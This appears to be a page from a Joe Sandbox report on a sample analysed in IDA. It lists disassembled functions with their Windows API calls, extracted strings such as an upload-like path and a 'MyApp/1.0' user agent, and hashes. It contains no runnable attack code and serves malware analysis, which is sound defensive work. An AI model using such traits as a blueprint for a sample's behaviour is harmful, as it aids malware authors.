Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 1dc17a8e16918fc5b4d92e11e225e9c2090c7f55ee3fa5afe13d2d34ddbb0f15
Instruction ID: 597b846841f10739795c2d9283cae4926c4977ed20ecb9300ba103739cbae599
Opcode Fuzzy Hash: 1dc17a8e16918fc5b4d92e11e225e9c2090c7f55ee3fa5afe13d2d34ddbb0f15
Instruction Fuzzy Hash: 43D19E71A1126A9FCB25CF288C407EDFB70AF65300F1481EAD559B7782D6709EA4CFA1

Function 00238EF2 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002313A9: GetLastError.KERNEL32(00000000,00000000,00237270), ref: 002313AD
Part of subcall function 002313A9: SetLastError.KERNEL32(00000000,00000000,00000000,00000006,000000FF), ref: 0023144F

EnumSystemLocalesW.KERNEL32(00239020,00000001,00000000,?,-00000050,?,00239661,00000000,?,?,?,00000055,?), ref: 00238F64

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ac9be98134973c22707dfc7596dd006a7baaaeb09e6bd3914f6d80ae2b413040
Instruction ID: 1687b905932992fc1c3a70a7faf242073a9200a1723d8ced378a96cdad2673a5
Opcode Fuzzy Hash: ac9be98134973c22707dfc7596dd006a7baaaeb09e6bd3914f6d80ae2b413040
Instruction Fuzzy Hash: 1011297B2203019FDB189F39D89157AB792FF80318F54442DF9468BB40D771B852CB40

Function 002394AF Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 002313A9: GetLastError.KERNEL32(00000000,00000000,00237270), ref: 002313AD
Part of subcall function 002313A9: SetLastError.KERNEL32(00000000,00000000,00000000,00000006,000000FF), ref: 0023144F

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0023923C,00000000,00000000,?), ref: 002394DB

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: f995d587b6c55d809c5f313051f40c69a4ce2288b1b05db3fc3565370fda5999
Instruction ID: c78bde540150f2e8b7d494832ba0f9cc992584364be3db6891dec4bcd1b6fe80
Opcode Fuzzy Hash: f995d587b6c55d809c5f313051f40c69a4ce2288b1b05db3fc3565370fda5999
Instruction Fuzzy Hash: 82012BB3630113ABDF185E6198066BB3758DB41354F044429FC06A3180EAB0FDE1CA90

Function 00238F8D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002313A9: GetLastError.KERNEL32(00000000,00000000,00237270), ref: 002313AD
Part of subcall function 002313A9: SetLastError.KERNEL32(00000000,00000000,00000000,00000006,000000FF), ref: 0023144F

EnumSystemLocalesW.KERNEL32(00239280,00000001,00000000,?,-00000050,?,00239629,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00238FD7

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: bc4cccc72025e7f6a6e5cdd1f9f99a9be157d25f5e15d96b6ac83825bfeadd74
Instruction ID: 7f60e53c3ca83ea6364e248d4c7e932aa72570d8ef62cbe00ce91db156dfc1f4
Opcode Fuzzy Hash: bc4cccc72025e7f6a6e5cdd1f9f99a9be157d25f5e15d96b6ac83825bfeadd74
Instruction Fuzzy Hash: B5F046B62203045FCB145F35DC85E7ABB96EF82728F05802DF9498BA90CAB1AC11CB40

Function 00231B7D Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0022E991: EnterCriticalSection.KERNEL32(?,?,0022BDC5,00000000,002577E8,0000000C,0022BD8D,?,?,002302D4,?,?,00231547,00000001,00000364,?), ref: 0022E9A0

EnumSystemLocalesW.KERNEL32(00231B70,00000001,00257AD8,0000000C,00231FA5,00000000), ref: 00231BB5

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 268a19138a722c8a584a9f19cad455c3e9f5249818eb823be22fbf9f26c29461
Instruction ID: 778523524f6edbd4e2ed1483628de37e5c4c9ac8dc6b42263269d9e20635a286
Opcode Fuzzy Hash: 268a19138a722c8a584a9f19cad455c3e9f5249818eb823be22fbf9f26c29461
Instruction Fuzzy Hash: 47F087B2A54304EFDB10DF98E806B8CBBF0FB0A722F00415AF404AB2A1DB7A49108F40

Function 00238EA7 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002313A9: GetLastError.KERNEL32(00000000,00000000,00237270), ref: 002313AD
Part of subcall function 002313A9: SetLastError.KERNEL32(00000000,00000000,00000000,00000006,000000FF), ref: 0023144F

EnumSystemLocalesW.KERNEL32(00238E00,00000001,00000000,?,?,00239683,-00000050,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 00238EDE

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: c7f0905c34649ea5197f2e1e497768878b6d7a29a0e813d5d99b757a05d2de6f
Instruction ID: 6bdb09ddf5a15221569dc7607711c50cb9243cc73709c4a072b427ff12673293
Opcode Fuzzy Hash: c7f0905c34649ea5197f2e1e497768878b6d7a29a0e813d5d99b757a05d2de6f
Instruction Fuzzy Hash: FFF02B7A31030657CB159F76D84966ABF94EFC2710F06445DFE09CF691CA72D852C790

Function 002320A9 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0022E467,?,20001004,00000000,00000002,?,?,0022DA59), ref: 002320DD

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 4e0d53586a74ec713230813688b1b912c6b87d7e612dc30d2eed295db37e73db
Instruction ID: 5a70d4b856b38e922774cc4ff8646537117ba7609a7fb8d1af148dcb5a19fe54
Opcode Fuzzy Hash: 4e0d53586a74ec713230813688b1b912c6b87d7e612dc30d2eed295db37e73db
Instruction Fuzzy Hash: CFE04F75511218FBCF122F60EC09EAE7F25EF45750F044011FC0965221CB728E34AA95

Function 0021D535 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001D550,0021D005), ref: 0021D53A

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f32df832ae2045babe11bbb37b7c3080727bcc79f7a2e03c942fbeb1df161b45
Instruction ID: f1c5abfd0d0e82ac95c3a2e4130267ec287d0c9a9d1bf366c8d941ab14fc6bdc
Opcode Fuzzy Hash: f32df832ae2045babe11bbb37b7c3080727bcc79f7a2e03c942fbeb1df161b45
Instruction Fuzzy Hash:

Function 00205462 Relevance: 1.5, Strings: 1, Instructions: 229COMMON

Download Yara Rule

Strings

PK, xrefs: 002055ED

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID: PK
API String ID: 0-443340723
Opcode ID: 8d692baa89d95842a0aabdd76eb18694bba47f7ed83faee748b5527ff2f4f7af
Instruction ID: 9179c74bee2cae6fff87220789eadb18211aabb99c7311bdd5bc6f74c9338a14
Opcode Fuzzy Hash: 8d692baa89d95842a0aabdd76eb18694bba47f7ed83faee748b5527ff2f4f7af
Instruction Fuzzy Hash: 0991BD31218B42AFD709CF28C840AAAFBA5FF95314F44461DF4A587692C731E964CFD6

Function 002137C6 Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

i-8, xrefs: 002137DE

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID: i-8
API String ID: 0-3871616529
Opcode ID: e053eb542aeb4a6de5b8424594cc9e7dc13aeb8df60439d1d98f254186d395c6
Instruction ID: 98a60bcdcffaa6f1e897c96ed21dc477bb7c69fd3c1c167264f917adede8326d
Opcode Fuzzy Hash: e053eb542aeb4a6de5b8424594cc9e7dc13aeb8df60439d1d98f254186d395c6
Instruction Fuzzy Hash: D2F096B35111283B5B1CDE65EC5ACBFB79DDB89260706412EFC0AAB180C920AC1085B4

Function 002023C8 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b89b3425908d80c50b42de7a67ab193db0859acfb694cfdbe637fbe3fa3b06cc
Instruction ID: e092d349afbb46eed59e08f1d96b797c2929739a89ec0a60578b3da200f40c18
Opcode Fuzzy Hash: b89b3425908d80c50b42de7a67ab193db0859acfb694cfdbe637fbe3fa3b06cc
Instruction Fuzzy Hash: B5126774A20B22EFC719CF29C594668FBB4FF49310B60421AD65697B82D335B879CB90

Function 00201A8D Relevance: .5, Instructions: 453COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22e08377c55ee15222046d1f4e8f94786d6737c3e6351ddfd29771396e6732a1
Instruction ID: 9ad296330e9c8baa5d4675f924a00d21bb77879919c2ba9c065acc0104d9747a
Opcode Fuzzy Hash: 22e08377c55ee15222046d1f4e8f94786d6737c3e6351ddfd29771396e6732a1
Instruction Fuzzy Hash: EE12B130A10B648FDB35CF29C8947EAB7F5BF95300F2448ADD59A57B92D631A9A4CF00

Function 002028E2 Relevance: .4, Instructions: 369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8961b9b7fb61cc723bdf3267792ed5758ef175de6f184371cea271f75f84d51
Instruction ID: 7e1aebec1060c76b286175840336d35bf908181b0b98b0524d5d09fe5ad14419
Opcode Fuzzy Hash: b8961b9b7fb61cc723bdf3267792ed5758ef175de6f184371cea271f75f84d51
Instruction Fuzzy Hash: 30F11575E1070ACFCB24CFA9C8846AEBBF1FF48310F24856ED89AE3741D634A9558B54

Function 002386A0 Relevance: .3, Instructions: 342COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 6e5805fae1e8e41031a2bc05ae872c5f1766339c499eaf842439461290cc2557
Instruction ID: b84eb3930eb83e743dd663e2311642441da320732c2071e48d986ceb0106614e
Opcode Fuzzy Hash: 6e5805fae1e8e41031a2bc05ae872c5f1766339c499eaf842439461290cc2557
Instruction Fuzzy Hash: E8B119B55207068BDB349F25CC92BB7B3A9EF44308F54446DF983CA680EEB5E995CB10

Function 00226930 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35a99ddb84e099ae0a6607a91bfdc36c762ef67c046712ac124d7e6b556b889d
Instruction ID: 26b8a72bd147c30dc3db3e5bba64abf51618eba6952eb49e52bfa0936a750f67
Opcode Fuzzy Hash: 35a99ddb84e099ae0a6607a91bfdc36c762ef67c046712ac124d7e6b556b889d
Instruction Fuzzy Hash: EA519172D1022AEFDF04CF98C841AEEBBB2FF88304F598059E515AB241C775AA50CF90

Function 0020469F Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ea3d2115689472d574504233d5e479e60840e41d715be4192dfc74f350eec6e
Instruction ID: 77b282bd6ac5d8c61cb59a58e7d346c01834fca2dd9d447cefed7c94fdb474d1
Opcode Fuzzy Hash: 1ea3d2115689472d574504233d5e479e60840e41d715be4192dfc74f350eec6e
Instruction Fuzzy Hash: EA41B621229BC49FC739DE6C484009ABFE1DEB71407488A9DE4C7C7B43C614EA19C7A6

Function 00204539 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f56874ec80299a65c106a4b56e3c8b83f00e55cf319624107219137b7508230b
Instruction ID: a2fbd2134991d09b88eca86981d183c68ace8b709a5844b27eacb59ef644c6a8
Opcode Fuzzy Hash: f56874ec80299a65c106a4b56e3c8b83f00e55cf319624107219137b7508230b
Instruction Fuzzy Hash: 8B31252231ABC68FC319CA9D5C40446FFA2AEB210038DCA9DD4DD9BB03C564E909C7B2

Function 00220C70 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 333316db32f76ffac08694a1d937b3e55f1f95eda43df40169436302514e59df
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 21110BF722217363D6048EFDF4F46B7A396EBC5321B2D4377D0424B76AD222A9659500

Function 00201424 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a990686b6d46b1b9f0493715a082d4f8a18f982f98cb27ff36edeb5967b6f730
Instruction ID: efc366989b240f35216fda61b4e84706a50aead457113663928c06f252dc9c80
Opcode Fuzzy Hash: a990686b6d46b1b9f0493715a082d4f8a18f982f98cb27ff36edeb5967b6f730
Instruction Fuzzy Hash: 43016C72E2407106F70C4B3AAC16436BB94A75732234743ABFA87EA0D2C419D535D7E4

Function 00213820 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ad7b8e6dd2d3a30a1b537087b143b080f705283c280b151f3205acabd5c428
Instruction ID: 3bf9555b049d395266e132c0daf58a5fb0493706c19f40800d9f76db5439bcc2
Opcode Fuzzy Hash: b1ad7b8e6dd2d3a30a1b537087b143b080f705283c280b151f3205acabd5c428
Instruction Fuzzy Hash: 53F0127251102D6B9F09DF64D816CBF7796EF48250B018129FC165B150C631EC70DBD4

Function 00215040 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 442sleepCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0021504A

Part of subcall function 0020B3E8: __EH_prolog3.LIBCMT ref: 0020B3EF

GetNativeSystemInfo.KERNEL32(?,x86,00000000), ref: 00215155

Part of subcall function 0020B64E: __EH_prolog3.LIBCMT ref: 0020B655

Part of subcall function 0020B07F: __EH_prolog3_GS.LIBCMT ref: 0020B086

Part of subcall function 00214DC7: __EH_prolog3_GS.LIBCMT ref: 00214DD1

Part of subcall function 00216920: __EH_prolog3_GS.LIBCMT ref: 00216927

Part of subcall function 002147EA: __EH_prolog3_GS.LIBCMT ref: 002147F4

Part of subcall function 002113E5: __EH_prolog3.LIBCMT ref: 002113EC

Part of subcall function 00214CF6: __EH_prolog3_GS.LIBCMT ref: 00214CFD

Part of subcall function 002168CD: __EH_prolog3.LIBCMT ref: 002168D4

Part of subcall function 00214FCB: __EH_prolog3_GS.LIBCMT ref: 00214FD2

Sleep.KERNEL32(00000BB8), ref: 002155F3

Strings

x64, xrefs: 0021516F
/Up, xrefs: 002155DB, 002155E6, 002155F9
.txt, xrefs: 002154B7
x86, xrefs: 0021512E
1735725670, xrefs: 00215450, 0021545C
789593363246702628, xrefs: 00215098
MyApp/1.0, xrefs: 0021555E
!, xrefs: 00215649

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_$H_prolog3$InfoNativeSleepSystem
String ID: !$.txt$/Up$1735725670$789593363246702628$MyApp/1.0$x64$x86
API String ID: 782859002-2550200081
Opcode ID: a9f2917305b734fd9a7ad4e9d627ebe83bf4d8a2d630442477f7ffa2d3c37e4c
Instruction ID: 82bbc99798e5f1894e1f5bb7c6cface69f7cf36c3d5589e3890f37ef0092b969
Opcode Fuzzy Hash: a9f2917305b734fd9a7ad4e9d627ebe83bf4d8a2d630442477f7ffa2d3c37e4c
Instruction Fuzzy Hash: 3D028D30D20358EADB15EBA4C95ABEDBBB4AF15300F5040E9E105671C3EB745B98DF62

Function 00206B3E Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 202memorystringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00206B48

Part of subcall function 0021AE24: __EH_prolog3_GS.LIBCMT ref: 0021AE2E

Part of subcall function 0020B558: __EH_prolog3.LIBCMT ref: 0020B562
Part of subcall function 0020B558: _Func_class.LIBCONCRT ref: 0020B607

Part of subcall function 0020B3E8: __EH_prolog3.LIBCMT ref: 0020B3EF

Part of subcall function 0020A42C: __EH_prolog3.LIBCMT ref: 0020A433

Part of subcall function 0020B41D: __EH_prolog3.LIBCMT ref: 0020B424

lstrlenA.KERNEL32(?,?), ref: 00206C2D
GetProcessHeap.KERNEL32 ref: 00206C6A
HeapAlloc.KERNEL32(00000000,00000008,?), ref: 00206C74
GetProcessHeap.KERNEL32(00000000,?), ref: 00206CFA
HeapFree.KERNEL32(00000000), ref: 00206D01

Part of subcall function 0020B51E: __EH_prolog3.LIBCMT ref: 0020B525

